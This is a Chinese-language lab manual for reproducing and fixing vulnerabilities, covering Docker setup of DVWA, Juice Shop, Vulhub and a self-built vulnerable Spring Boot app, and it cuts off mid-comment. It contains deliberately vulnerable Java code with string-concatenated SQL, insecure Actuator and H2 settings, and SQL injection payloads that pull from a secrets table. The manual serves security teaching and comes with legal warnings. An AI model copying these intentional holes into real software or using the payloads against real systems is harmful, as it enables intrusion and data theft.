安全靶场实战 — 从零复现到加固验证

安全靶场实战 — 从零复现到加固验证

这份文档和 11 号有什么区别?

11 号《安全攻防与系统加固》 12 号《安全靶场实战》(本文)
定位 知识库、面试题库 实验手册
讲什么 漏洞原理、代码怎么写、怎么防 怎么亲手把它打出来
形式 讲解 + 代码 + 面试题 命令 + 输出 + 截图要点 + 复测
读完你会 说得清楚 做得出来
行数 3 万行 你手上这份

11 号告诉你“SQL 注入要用预编译”,本文带你 sqlmap -u "http://target?id=1" --dbs 把库名拖出来,再把代码改成预编译,最后跑一遍复测脚本确认真的堵住了。

为什么要动手打一遍?

三个理由,都很实在:

① 看和做之间隔着一道鸿沟。 你可能背得下“SSRF 可以打 Redis”,但从没想过 gopher:// 后面那一长串到底怎么构造。亲手做一遍,那些“魔法字符串”就变成了你能推导出来的东西。

② 面试时“我复现过”比“我知道”值钱十倍。 当面试官问“Shiro-550 的原理”,你说“我在本地用 Vulhub 起过环境,用 ysoserial 生成 payload,改了 Cookie 里的 rememberMe 字段拿到了 shell,然后发现修复的关键是换掉那个硬编码的默认密钥”——这和背答案完全是两个level。

③ 你会开始用攻击者的眼睛看自己的代码。 搭过靶场之后,你写 Runtime.exec(cmd) 时手会抖,看到 new URL(userInput).openConnection() 会本能地想“这里能不能打 SSRF”。这种条件反射才是安全的真正价值。

阅读建议

你的情况 怎么读
零基础,第一次碰安全 顺着读。第 0 章环境搭好,从第 2 章 SQL 注入开始,每个实验都做完再往下
有基础,想补齐实操 跳到 0.3 靶场清单,挑你没做过的章节
准备面试,想攒实战故事 重点做 ★ 标星的 6 个实验(2.2 sqlmap / 5.2 gopher 打 Redis / 6.4 Shiro-550 / 6.5 Log4Shell / 7.1 Redis 未授权 / 8.3 K8s 集群接管),每个都能讲 5 分钟
想做安全岗 全部做一遍,然后自己改 payload、写 PoC、尝试绕过自己配的防御

0.1 法律与道德红线(★ 先读这个,不要跳过)

╔══════════════════════════════════════════════════════════════╗
║  本文所有技术仅用于:                                          ║
║    ① 在你自己搭建的本地靶场里学习                              ║
║    ② 对你拥有/被书面授权的系统做安全测试                        ║
║    ③ 安全研究、教学、面试准备                                  ║
║                                                              ║
║  未经授权对他人系统进行测试,在中国大陆可能触犯:                ║
║    《刑法》第 285 条  非法侵入计算机信息系统罪                  ║
║    《刑法》第 286 条  破坏计算机信息系统罪                      ║
║    《网络安全法》第 27 条                                      ║
║                                                              ║
║  ★ 三条铁律:                                                 ║
║    1. 只在自己电脑上、自己的 Docker 网络里打                    ║
║    2. 靶场用独立的 Docker 网络,永远不要暴露到公网              ║
║    3. 真要测公司系统,必须有书面授权(邮件/盖章文件)            ║
╚══════════════════════════════════════════════════════════════╝

本文所有靶场都跑在 Docker 里,用 --network 隔离,默认只监听 127.0.0.1,不会对你的真实网络造成任何影响。


0.2 实验环境准备(一次搞定)

0.2.1 你需要什么

项目 要求 说明
操作系统 Windows(WSL2)/ macOS / Linux 本文命令以 Linux 为主,Windows 用户用 WSL2 或 Git Bash
Docker 20.10+ ★ 本文 95% 的环境靠它,必须装
Docker Compose v2+ 新版 Docker Desktop 已内置(docker compose 无横杠)
内存 ≥ 8 GB 建议 16 GB,同时开几个靶场会吃内存
磁盘 ≥ 30 GB 可用 镜像都比较大
Python 3.8+ 跑 sqlmap、ysoserial 的辅助脚本
Java 8 或 11 跑 ysoserial、Shiro 利用工具

★ Windows 用户特别说明:

  • 强烈建议用 WSL2 + Docker Desktop,比 Git Bash 少 90% 的坑
  • 如果只能用 Git Bash,注意路径转换:Docker 挂载要用 /d/path 而不是 D:\path
  • 本文命令在 Git Bash 下可能需要把 docker run -v $(pwd) 改成 docker run -v /$(pwd)

0.2.2 一键检查环境

# 保存为 check_env.sh,跑一遍看看缺什么
cat > check_env.sh <<'EOF'
#!/usr/bin/env bash
echo "========== 环境检查 =========="
check() {
  if command -v "$1" >/dev/null 2>&1; then
    printf "  ✓ %-12s %s\n" "$1" "$($1 --version 2>&1 | head -1)"
  else
    printf "  ✗ %-12s 未安装\n" "$1"
  fi
}
check docker
check python3
check java
check curl
check git
check nc
echo ""
echo "---------- Docker 状态 ----------"
if docker info >/dev/null 2>&1; then
  echo "  ✓ Docker 守护进程运行中"
  echo "  镜像数: $(docker images -q 2>/dev/null | wc -l)"
  echo "  容器数: $(docker ps -aq 2>/dev/null | wc -l)"
else
  echo "  ✗ Docker 未运行或没有权限"
fi
echo ""
echo "---------- 网络(靶场专用网) ----------"
docker network ls 2>/dev/null | grep -E "lab|vulhub" || echo "  未创建靶场网络(正常,第 1 章会创建)"
echo "================================="
EOF
chmod +x check_env.sh && ./check_env.sh

预期输出(你的版本号可能不同):

========== 环境检查 ==========
  ✓ docker       Docker version 24.0.7, build afdd53b
  ✓ python3      Python 3.11.4
  ✓ java         openjdk version "11.0.20" 2023-07-18
  ✓ curl         curl 8.1.2
  ✓ git          git version 2.41.0
  ✓ nc           netcat
---------- Docker 状态 ----------
  ✓ Docker 守护进程运行中
  镜像数: 12
  容器数: 3
---------- 网络(靶场专用网) ----------
=================================

0.2.3 创建靶场专用网络(★ 隔离用,很重要)

# 创建一个专用的 Docker 网络,所有靶场都放进来
docker network create --subnet=172.20.0.0/16 lab-net

# 验证
docker network inspect lab-net --format '{{.IPAM.Config}}'
# 预期输出:[{172.20.0.0/16  172.20.0.1 map[]}]

# 查看所有网络
docker network ls
# 预期输出里应该能看到 lab-net

为什么要单独建网络?

三个原因:

  1. 隔离:靶场容器之间可以互通(模拟内网),但和你的其他容器隔开
  2. 可控:你可以随时 docker network rm lab-net 一键清掉所有靶场网络
  3. 安全:避免靶场容器意外和你真实的服务在同一网络里

★ 关键安全实践:所有端口映射都绑定 127.0.0.1,格式是 -p 127.0.0.1:8080:80 而不是 -p 8080:80。 后者的意思是“监听所有网卡”,如果你的电脑在公共 Wi-Fi 上,同网段的人也能访问你的靶场。 (这个坑在 11 号 7.5 节讲过:Docker 的 -p 会绕过 ufw/iptables,防火墙“拦住”了但端口还是公网的)


0.3 靶场与工具清单

0.3.1 靶场一览

靶场 类型 覆盖漏洞 难度 用的章节 起服务耗时
DVWA PHP Web 应用 SQLi、XSS、CSRF、文件上传、命令注入、文件包含 入门 2、3、4 1 分钟
Juice Shop Node.js 现代应用 OWASP Top 10 全覆盖,含业务逻辑漏洞 中 3、9 1 分钟
Vulhub 真实 CVE 环境集合 Shiro、Log4Shell、Fastjson、Redis、Nacos、Jenkins… 中高 5、6、7 每个 1 分钟
DVGA GraphQL 应用 GraphQL 特有漏洞 中 9(拓展) 1 分钟
自建 Spring Boot 靶场 Java ★ 最贴近你的技术栈:SpEL、Actuator、反序列化、SSRF 中 2、5、6、7 5 分钟
kind / minikube 本地 K8s 集群 容器逃逸、RBAC 滥用、SA token 高 8 5 分钟

名词解释:

  • 靶场(Range / Lab):故意写了很多漏洞的练习环境,专门给你“合法地”攻击用。类比:驾校的训练场,撞了不赔钱。
  • Vulhub:一个开源项目,把历史上真实发生过的漏洞(CVE)做成了一键启动的 Docker 环境。每个漏洞一个目录,进去 docker compose up -d 就起来了。它是本文用得最多的靶场。
  • CVE(Common Vulnerabilities and Exposures,通用漏洞披露):给每个公开漏洞编的唯一编号,格式 CVE-2021-44228(这就是 Log4Shell)。
  • PoC(Proof of Concept,概念验证):一段能证明漏洞确实存在的代码或请求。只到“证明存在”为止,通常不造成实际破坏。
  • EXP(Exploit,利用):在 PoC 基础上更进一步,真正达成攻击目的(拿 shell、拖库)的完整工具。
  • Payload(有效载荷 / 攻击载荷):你塞进请求里的那段“恶意数据”本身。比如 SQL 注入里的 ' or 1=1-- 就是 payload。

0.3.2 工具一览

工具 用途 安装方式 章节
Burp Suite Community 抓包改包、重放、爆破 官网下载 全篇
sqlmap SQL 注入自动化 pip install sqlmap 2
Nuclei 漏洞批量扫描(模板驱动) go install 或下载二进制 9
ffuf 目录/参数/子域名爆破 go install 9
ysoserial 生成 Java 反序列化 payload 下载 jar 6
CommonsCollections 利用链 配合 ysoserial 内置 6
redis-cli Redis 客户端 apt install redis-tools 5、7
gitleaks Git 密钥扫描 下载二进制 9
BeEF 浏览器劫持框架(XSS 后续) Docker 3
kubectl K8s 命令行 官方安装 8
trivy 镜像/依赖漏洞扫描 官方脚本 9

名词解释:

  • Burp Suite:一个拦截代理。它坐在你的浏览器和目标网站之间,你能看到每一个请求、并且在发送前修改它。这是 Web 安全测试的核心工具。类比:邮局里能拆开你的信、改完再封上的人。
  • sqlmap:自动化 SQL 注入工具。你给它一个 URL,它自动判断注入点、猜数据库类型、拖库、甚至拿 shell。
  • Nuclei:基于“模板”的扫描器。社区贡献了几千个模板,每个模板对应一个已知漏洞的检测+验证方法。特点是快、误报低。
  • ffuf:模糊测试工具(Fuzz)。拿字典去爆破目录、参数、子域名。名字里的 ff 是 “Fuzz Faster”。
  • ysoserial:Java 反序列化利用工具。它把已知的 Gadget Chain 打包好,你只需要指定“用哪条链 + 执行什么命令”,它就生成对应的序列化数据。
  • Gadget Chain(利用链):见 11 号 C15。简单说就是“一串现成类的组合”,拼起来能从反序列化入口一路执行到 Runtime.exec()。

0.4 本文档名词速查

读任何一章之前,先扫一眼这个表。 遇到不认识的词,回这里查,或者去 00-名词速查手册 第十章:安全。

术语 全称 / 英文 一句话白话 首次出现
靶场 Range / Lab 故意留了漏洞的练习环境,给你合法地打 0.3
PoC Proof of Concept 证明漏洞存在的代码/请求,通常不搞破坏 0.3
EXP Exploit 真正达成攻击目的的完整利用工具 0.3
Payload 有效载荷 你塞进请求里的那段恶意数据本身 0.3
CVE Common Vulnerabilities and Exposures 漏洞的唯一编号,如 CVE-2021-44228 0.3
CVSS Common Vulnerability Scoring System 漏洞严重性评分,0~10 分 0.5
Webshell Web Shell 藏在网站里的“远程控制器”,一个文件就能操控服务器 2.7
GetShell — 拿到服务器的命令执行权限(安全圈的黑话) 2.7
反弹 Shell Reverse Shell ★ 让目标主动连你(而不是你去连它),绕过防火墙 2.7
正向 Shell Bind Shell 目标开个端口等你去连(容易被防火墙拦) 2.7
拖库 — 把整个数据库的内容导出来(黑话) 2.2
脱库 — 同“拖库”,指数据库被窃取 2.2
盲注 Blind SQL Injection 页面不显示数据,只能靠“是/否”反应猜内容 2.3
WAF Web Application Firewall 网站防火墙,按规则拦截恶意请求 2.8
时间盲注 Time-based Blind 用“页面响应快慢”判断真假(sleep 5 秒) 2.3
Out-of-Band OOB 数据不走正常响应,而是让目标主动访问你的服务器带出来 2.4
BeEF Browser Exploitation Framework 劫持浏览器的框架,XSS 的后续利用工具 3.2
图片马 — 把恶意代码藏进正常图片文件里 4.3
文件包含 File Inclusion 页面用参数决定“包含哪个文件”,可以被改成任意文件 4.3
gopher Gopher 协议 ★ 能构造任意 TCP 报文的古老协议,SSRF 打内网的利器 5.2
元数据服务 Metadata Service 云厂商给机器开的 169.254.169.254,能拿临时 AK 5.3
IMDS Instance Metadata Service 就是上面那个,AWS 的叫法 5.3
DNS Rebinding DNS 重绑定 让域名第一次解析成外网、第二次解析成内网,绕过校验 5.4
TOCTOU Time Of Check To Time Of Use “检查完到使用完之间东西被换掉了” 5.4
XXE XML External Entity XML 外部实体注入,能读文件/打内网 6.1
十亿笑 Billion Laughs 用 XML 实体嵌套把内存撑爆的 DoS 攻击 6.2
Gadget Chain 利用链 一串现成类的组合,从反序列化入口执行到 exec 0.3
ysoserial — 生成 Java 反序列化 payload 的工具 6.3
CC 链 CommonsCollections 最常用的 Gadget Chain,依赖 Apache CommonsCollections 6.3
JNDI Java Naming and Directory Interface Java 的“查名字拿对象”机制,被 Log4Shell 利用 6.5
LDAP Lightweight Directory Access Protocol 目录服务协议,Log4Shell 常用它做攻击载体 6.5
RCE Remote Code Execution 远程代码执行——漏洞里最严重的一类 全篇
未授权访问 Unauthorized Access 服务没设密码,谁都能连 7
UDF 提权 User Defined Function 往 MySQL 里塞一个自定义函数来执行系统命令 7.2
crontab — Linux 的计划任务,攻击者爱写它来做“定时执行” 7.1
容器逃逸 Container Escape 从容器里“逃”到宿主机上 8.1
SA Token ServiceAccount Token K8s 里 Pod 的身份凭证,在容器里能直接读到 8.3
kind Kubernetes in Docker 用 Docker 容器模拟 K8s 节点,本地搭集群用 8.2
Fuzz / 模糊测试 Fuzzing 用大量畸形输入去“撞”漏洞 9.3

0.5 通用实验流程(每个实验都按这个来)

┌─────────────────────────────────────────────────────────┐
│  ① 起环境    docker compose up -d                        │
│             确认服务可访问(curl 或浏览器)                │
│                    ↓                                     │
│  ② 看源码    找到漏洞代码在哪(★ 不要跳过)                │
│             理解"为什么这里能被打"                        │
│                    ↓                                     │
│  ③ 手工复现  用 curl / 浏览器 / Burp 手动触发              │
│             ★ 先手工,再上工具——不然你不知道工具在干什么   │
│                    ↓                                     │
│  ④ 工具利用  sqlmap / ysoserial / Nuclei 自动化            │
│             观察工具发了什么包(开 Burp 看)               │
│                    ↓                                     │
│  ⑤ 扩大战果  getshell / 拖库 / 横向移动                    │
│             体会"一个漏洞能走到哪一步"                     │
│                    ↓                                     │
│  ⑥ 修复      改代码 / 改配置                              │
│                    ↓                                     │
│  ⑦ 复测     ★★★ 再跑一遍 ③④,确认打不动了                 │
│             不复测的修复 = 没修复                          │
│                    ↓                                     │
│  ⑧ 记录     截图 + 命令 + 输出,存进你的笔记               │
│             面试时这就是你的"实战故事"                     │
└─────────────────────────────────────────────────────────┘

★ 第 ⑦ 步最容易被跳过,也最重要。

很多人“修完就完事了”,但没验证过的修复等于没修。本文每个实验都提供了复测命令,你修完必须再跑一遍,确认攻击失败。


0.6 记录模板(建议每个实验都填一份)

## 实验:[漏洞名称]
- 日期:
- 靶场:[DVWA / Vulhub-xxx / 自建]
- 难度:★☆☆☆☆

### 漏洞原理
(用自己的话写 3 句话)

### 复现步骤
1. 命令:
   输出:
2. 命令:
   输出:

### 关键 Payload

(贴你的 payload)


### 为什么会成功
(根因分析)

### 修复方式
(改了什么)

### 复测结果
- [ ] 原 payload 已失效,返回:
- [ ] 工具扫描无告警

### 面试怎么讲这个故事
(30 秒口述版)

为什么建议你真的写下来?

因为三个月后你会忘。而面试时能讲出细节(“我当时用的 payload 是 xxx,返回了 yyy”)和只记得“我做过”是完全不同的效果。

本文每个实验末尾都有「面试怎么讲」小节,你可以直接抄进去。


第一章:靶场环境搭建

这一章把后面所有实验要用的环境一次性搭好。建议全部装完再往下走,否则每做一章都要回来补环境,很打断节奏。

预计耗时:40 分钟(主要是拉镜像)。


1.1 靶场一:DVWA(Web 漏洞全家桶,入门首选)

1.1.1 是什么

DVWA(Damn Vulnerable Web Application):一个 PHP 写的、故意留了大量漏洞的 Web 应用。它是安全入门的“Hello World”。

内置漏洞模块:SQL 注入(含盲注)、XSS(反射/存储/DOM)、CSRF、文件上传、文件包含、命令注入、暴力破解、不安全的验证码等。

★ 它有个很贴心的地方:可以调四个安全等级(low / medium / high / impossible),同一个漏洞在四个等级下防御强度不同。你可以先打 low,再打 medium,体会“防御加了一层是什么感觉”——这是别处学不到的。

等级 防御强度 说明
low 无防护 裸奔,最容易被打
medium 半吊子防护 比如加了 mysql_real_escape_string()、前端下拉框限制
high 较严格 比如用了 prepared statement、加了 token
impossible 正确实现 教科书级别的防御代码

名词解释:Damn Vulnerable —— 直译“该死的易受攻击的”。这是一个双关梗:既说明它漏洞多到“该死”,也是语气词。

1.1.2 启动

# 拉取并启动(第一次会下载镜像,约 200MB)
docker run -d \
  --name dvwa \
  --network lab-net \
  -p 127.0.0.1:8080:80 \
  -e PHPIDS=off \
  vulnerables/web-dvwa

# 看启动状态
docker ps --filter name=dvwa --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"

# 预期输出:
# NAMES   STATUS                    PORTS
# dvwa    Up 30 seconds (healthy)  127.0.0.1:8080->80/tcp

# 确认能访问
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://127.0.0.1:8080/
# 预期输出:HTTP 302(会跳转到登录页)

1.1.3 初始化(★ 必须做,否则数据库是空的)

1. 浏览器打开 http://127.0.0.1:8080/
2. 自动跳转到 setup.php
3. 点页面最下方的 "Create / Reset Database" 按钮
4. 等待跳转回 login.php
5. 登录:用户名 admin,密码 password

★ 登录成功后第一件事:设置安全等级

左侧菜单 → DVWA Security
  → Security Level 选 Low
  → 点 Submit

(后面的实验需要时再改成 Medium/High)

1.1.4 常用操作

# 停止 / 启动
docker stop dvwa && docker start dvwa

# 看日志(靶场起不来时排查用)
docker logs -f dvwa

# 重置数据库(打崩了就重置)
# 浏览器访问 http://127.0.0.1:8080/setup.php → Create / Reset Database

# 完全删除(换版本时用)
docker rm -f dvwa

1.1.5 怎么找到漏洞源码

这是 DVWA 最有价值的地方——它把漏洞代码直接给你看:

页面右下角 → "View Source" 按钮

比如 SQL 注入的 low 等级源码:

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    $id = $_REQUEST[ 'id' ];

    // ★ 没有任何处理,直接拼进 SQL
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

    while( $row = mysqli_fetch_assoc( $result ) ) {
        $first = $row["first_name"];
        $last  = $row["last_name"];
        echo "<pre>ID: {$id}<br/>First name: {$first}<br/>Surname: {$last}</pre>";
    }
}
?>

而 impossible 等级的源码(这就是标准答案):

<?php
if( isset( $_GET[ 'Submit' ] ) ) {
    // ① 校验 CSRF Token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // ② ★ 白名单:id 必须是数字
    $id = $_GET[ 'id' ];
    if(is_numeric( $id )) {
        // ③ ★ 预编译(PDO prepared statement)
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // ④ 只取一行,且用 LIMIT 1
        $row = $data->fetch();

        // ⑤ 输出现在还要经过 htmlspecialchars(防 XSS)
        echo "<pre>ID: {$id}<br/>First name: {$first}<br/>Surname: {$last}</pre>";
    }
}
?>

★ 学习方法:打完一个漏洞,一定要点开 View Source 对比 low 和 impossible 两份代码。你会清楚地看到“从漏洞代码到安全代码,中间差了哪几步”——这比看任何教程都直观。


1.2 靶场二:Juice Shop(现代 Web 应用的 OWASP 靶场)

1.2.1 是什么

OWASP Juice Shop:一个用 Node.js + Angular 写的现代化电商网站,内置了 OWASP Top 10 的全部漏洞,而且设计成了一个“闯关游戏”——每发现一个漏洞就解锁一个成就。

和 DVWA 的区别:

DVWA Juice Shop
技术栈 PHP(传统) Node.js + Angular(现代 SPA)
漏洞类型 经典 Web 漏洞 经典 + 业务逻辑漏洞 + 现代前端漏洞
引导方式 直接告诉你有什么漏洞 ★ 闯关式,自己找
难度 入门 中高级
适合 学“每种漏洞长什么样” 练“怎么在真实应用里找到漏洞”

名词解释:SPA(Single Page Application,单页应用):整个网站只有一个 HTML 页面,内容靠 JS 动态加载。它的安全特点和传统网站不同(比如 XSS 更多是 DOM 型)。

1.2.2 启动

docker run -d \
  --name juice-shop \
  --network lab-net \
  -p 127.0.0.1:3000:3000 \
  bkimminich/juice-shop

# 等待启动(首次约 30 秒,要初始化数据库)
sleep 30
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://127.0.0.1:3000/
# 预期输出:HTTP 200

# 浏览器打开 http://127.0.0.1:3000/

1.2.3 怎么用

1. 打开 http://127.0.0.1:3000/
2. 点右上角的 "Score Board"(计分板)—— 这里列出了所有挑战
3. ★ 建议先按 Difficulty(难度)排序,从 1 星开始做
4. 每个挑战有提示(点挑战名展开)

★ 强烈建议做的 5 个挑战(对应本文其他章节):

挑战 对应漏洞 难度
Login Admin SQL 注入(登录绕过) ★
DOM XSS DOM 型 XSS ★★
Forged Feedback CSRF / 访问控制失效 ★★
Upload Size / Type 文件上传绕过 ★★★
XXE Data Access XXE 读文件 ★★★★

提示:Juice Shop 有官方的“作弊指南”(Pwning OWASP Juice Shop 这本书),但建议你先自己试 30 分钟再看提示。找漏洞的能力本身就是你要练的东西。


1.3 靶场三:Vulhub(真实 CVE 复现,★ 本文主力)

1.3.1 是什么

Vulhub 是一个开源项目,把历史上真实发生过的漏洞做成了一键启动的 Docker 环境。

vulhub/
├── shiro/
│   └── CVE-2016-4437/        # Shiro-550 反序列化
│       ├── docker-compose.yml
│       └── README.md
├── log4j/
│   └── CVE-2021-44228/       # Log4Shell
├── fastjson/
│   ├── 1.2.24-rce/
│   └── 1.2.47-rce/
├── redis/
│   └── 未授权访问/
├── nacos/
│   └── CVE-2021-29441/
├── spring/
│   ├── CVE-2022-22947/       # Spring Cloud Gateway RCE(SpEL)
│   └── CVE-2018-1270/        # Spring Data Commons
└── ...(几百个)

每个目录进去 docker compose up -d 就能起一个真实漏洞环境,README 里有完整的复现步骤。

1.3.2 安装

# 克隆(约 200MB,包含所有环境配置)
git clone --depth 1 https://github.com/vulhub/vulhub.git ~/vulhub
cd ~/vulhub

# 看目录结构
ls
# 预期输出:activemq airflow apache apereo ... zookeeper

# 统计有多少个漏洞环境
find . -name "docker-compose.yml" | wc -l
# 预期输出:500+ 个

1.3.3 通用用法(★ 记住这三个命令就够了)

# ① 进入某个漏洞目录
cd ~/vulhub/shiro/CVE-2016-4437

# ② 启动环境
docker compose up -d

# ③ 看服务状态
docker compose ps
# 预期输出:
# NAME                      COMMAND                  SERVICE    STATUS       PORTS
# cve-2016-4437-web-1       "java -jar targets/…"    web        running     0.0.0.0:8080->8080/tcp

# 用完记得关(★ 很重要,不然一堆容器吃内存)
docker compose down

1.3.4 Vulhub 的端口安全(★ 注意)

Vulhub 的 docker-compose.yml 默认映射 0.0.0.0(监听所有网卡)。这意味着同局域网的人也能访问你的靶场。

建议修改(养成习惯):

# 进入任意漏洞目录,编辑 docker-compose.yml
# 把
ports:
  - "8080:8080"
# 改成
ports:
  - "127.0.0.1:8080:8080"

# 或者用 sed 批量改(谨慎,先备份)
cp docker-compose.yml docker-compose.yml.bak
sed -i 's/^\(\s*\)- "\([0-9]*\):\([0-9]*\)"/\1- "127.0.0.1:\2:\3"/' docker-compose.yml

★ 更根本的做法:直接不映射端口。因为 Vulhub 的容器都在同一个 docker-compose 的默认网络里,你可以用一个临时的攻击容器加入它的网络来访问:

# 查看靶场的网络名
docker network ls | grep cve-2016-4437
# 预期:cve-2016-4437_default

# 起一个带工具的攻击容器,加入它的网络
docker run -it --rm --network cve-2016-4437_default \
  -v ~/tools:/tools kalilinux/kali-rolling bash

# 容器里用容器名访问靶场(Docker 内置 DNS)
curl http://web:8080/

这样完全不暴露端口,最安全。

1.3.5 本文会用到的 Vulhub 环境

漏洞 路径 章节
Shiro-550 shiro/CVE-2016-4437 6.4
Log4Shell log4j/CVE-2021-44228 6.5
Fastjson 1.2.24 fastjson/1.2.24-rce 6.6
Spring Cloud Gateway SpEL spring/CVE-2022-22947 6.7
Redis 未授权 redis/未授权访问 7.1
Nacos 未授权 nacos/CVE-2021-29441 7.3
Jenkins RCE jenkins/CVE-2018-1000861 7.5
Apache Solr XXE solr/CVE-2017-12629 6.1

1.4 靶场四:自建 Spring Boot 漏洞靶场(★ 最贴近你的技术栈)

1.4.1 为什么要自己建一个

DVWA 是 PHP 的、Juice Shop 是 Node.js 的——都不是你的技术栈。

而面试时你面对的是 Java / Spring Boot。你需要一个能体现 Java 特有漏洞的靶场:

  • MyBatis ${} 注入
  • SpEL 表达式注入
  • Java 原生反序列化
  • Spring Actuator 未授权
  • SSRF(new URL().openConnection())
  • 命令注入(Runtime.exec)

这些在 PHP 靶场里一个都没有。 所以自己搭一个。

1.4.2 项目结构

vuln-lab/
├── pom.xml
└── src/main/java/com/lab/vuln/
    ├── VulnLabApplication.java
    ├── controller/
    │   ├── SqliController.java        # SQL 注入(含修复版对比)
    │   ├── SsrfController.java        # SSRF(含绕过与修复)
    │   ├── SpelController.java        # SpEL 表达式注入
    │   ├── DeserController.java       # Java 反序列化
    │   ├── CmdController.java         # 命令注入
    │   └── UploadController.java      # 文件上传
    └── resources/
        ├── application.yml
        └── schema.sql                 # H2 初始化数据

1.4.3 pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.18</version>
        <relativePath/>
    </parent>

    <groupId>com.lab</groupId>
    <artifactId>vuln-lab</artifactId>
    <version>1.0.0</version>
    <name>vuln-lab</name>
    <description>Spring Boot 漏洞靶场(仅用于本地安全学习,切勿部署到任何生产或公网环境)</description>

    <properties>
        <java.version>8</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <!-- ★ 故意引入有漏洞的 commons-collections,用于反序列化实验 -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <!-- H2 内存数据库,开箱即用,不需要额外起 MySQL -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-jdbc</artifactId>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

1.4.4 配置文件

# src/main/resources/application.yml
server:
  port: 8888
  # ★ 故意关掉错误页的白标,让异常堆栈暴露(模拟"生产返回详细报错"的错误配置)
  error:
    include-message: always
    include-stacktrace: always

spring:
  datasource:
    url: jdbc:h2:mem:labdb;DB_CLOSE_DELAY=-1
    driver-class-name: org.h2.Driver
    username: sa
    password:            # 空密码(模拟弱配置)
  sql:
    init:
      mode: always       # 启动时执行 schema.sql
  h2:
    console:
      enabled: true      # ★ 故意开 H2 Console(模拟"管理后台未授权")
      path: /h2-console

# ★★ 故意暴露所有 Actuator 端点(第 7 章要用)
management:
  endpoints:
    web:
      exposure:
        include: "*"
  endpoint:
    heapdump:
      enabled: true
    env:
      enabled: true

logging:
  level:
    com.lab.vuln: DEBUG
-- src/main/resources/schema.sql
DROP TABLE IF EXISTS users;
CREATE TABLE users (
    id       INT PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(100),
    email    VARCHAR(100),
    role     VARCHAR(20)
);
INSERT INTO users VALUES (1, 'admin',   'admin123',   'admin@lab.com',   'ADMIN');
INSERT INTO users VALUES (2, 'alice',   'alice456',   'alice@lab.com',   'USER');
INSERT INTO users VALUES (3, 'bob',     'bob789',     'bob@lab.com',     'USER');
INSERT INTO users VALUES (4, 'charlie', 'charlie000', 'charlie@lab.com', 'USER');

DROP TABLE IF EXISTS products;
CREATE TABLE products (
    id    INT PRIMARY KEY,
    name  VARCHAR(100),
    price DECIMAL(10,2),
    stock INT
);
INSERT INTO products VALUES (1, 'iPhone 15',  5999.00, 100);
INSERT INTO products VALUES (2, 'MacBook Pro',12999.00, 50);
INSERT INTO products VALUES (3, 'AirPods',    1299.00, 200);

-- ★ 模拟"敏感表",拖库实验的目标
DROP TABLE IF EXISTS secrets;
CREATE TABLE secrets (
    id          INT PRIMARY KEY,
    secret_name VARCHAR(50),
    secret_val  VARCHAR(200)
);
INSERT INTO secrets VALUES (1, 'db_password',    'Prod_DB@2024#SuperSecret');
INSERT INTO secrets VALUES (2, 'aws_ak',         'AKIAIOSFODNN7EXAMPLE');
INSERT INTO secrets VALUES (3, 'jwt_signing_key','ultra-secret-jwt-key-never-leak');

1.4.5 启动类

package com.lab.vuln;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
 * Spring Boot 漏洞靶场。
 *
 * ★★★ 严重警告 ★★★
 * 本项目包含大量【故意留下的安全漏洞】,仅用于本地安全学习与教学。
 * 严禁部署到生产环境、测试环境或任何可被公网访问的地方。
 * 建议只在 127.0.0.1 上启动,并在 Docker 容器里运行。
 */
@SpringBootApplication
public class VulnLabApplication {
    public static void main(String[] args) {
        SpringApplication.run(VulnLabApplication.class, args);
    }
}

1.4.6 SQL 注入靶场(含修复前后对比)

package com.lab.vuln.controller;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.web.bind.annotation.*;

import java.util.*;

/**
 * SQL 注入靶场。
 *
 * 每个漏洞接口都配了一个 /safe 版本,用于对比学习。
 * ★★ 学安全最有效的方法就是"漏洞版 vs 修复版"逐行对比。
 */
@RestController
@RequestMapping("/sqli")
public class SqliController {

    @Autowired
    private JdbcTemplate jdbc;

    // ═══════════════════════════════════════════════════════
    // 漏洞 1:最经典的字符串拼接注入
    // ═══════════════════════════════════════════════════════

    /**
     * ❌ 漏洞版:直接拼接
     * 攻击:http://127.0.0.1:8888/sqli/user?id=1' OR '1'='1
     *      http://127.0.0.1:8888/sqli/user?id=1 UNION SELECT 1,secret_name,secret_val,email,role FROM secrets--
     */
    @GetMapping("/user")
    public Object getUserVuln(@RequestParam String id) {
        // ★ 漏洞点:用户输入直接拼进 SQL,单引号闭合后可执行任意 SQL
        String sql = "SELECT * FROM users WHERE id = '" + id + "'";
        System.out.println("[VULN SQL] " + sql);
        try {
            return jdbc.queryForList(sql);
        } catch (Exception e) {
            // ★ 二次漏洞:把 SQL 报错返回给前端(报错注入的前提)
            return "SQL Error: " + e.getMessage();
        }
    }

    /**
     * ✅ 修复版:预编译
